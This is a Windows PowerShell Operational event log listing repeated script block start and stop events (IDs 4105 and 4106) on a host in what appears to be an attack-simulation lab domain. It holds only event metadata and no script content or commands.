Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039241
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039240
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039239
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039238
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039237
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039236
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039235
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039234
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039233
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039232
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039231
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039230
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039229
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039228
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039227
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039226
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039225
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039224
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039223
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039222
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039221
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039220
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039219
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039218
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039217
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039216
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039215
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039214
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039213
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039212
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039211
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039210
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039209
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039208
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039207
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039206
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039205
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039204
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039203
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039202
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039201
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039200
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039199
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039198
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039197
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039196
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039195
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039194
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039193
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039192
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039191
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039190
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039189
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
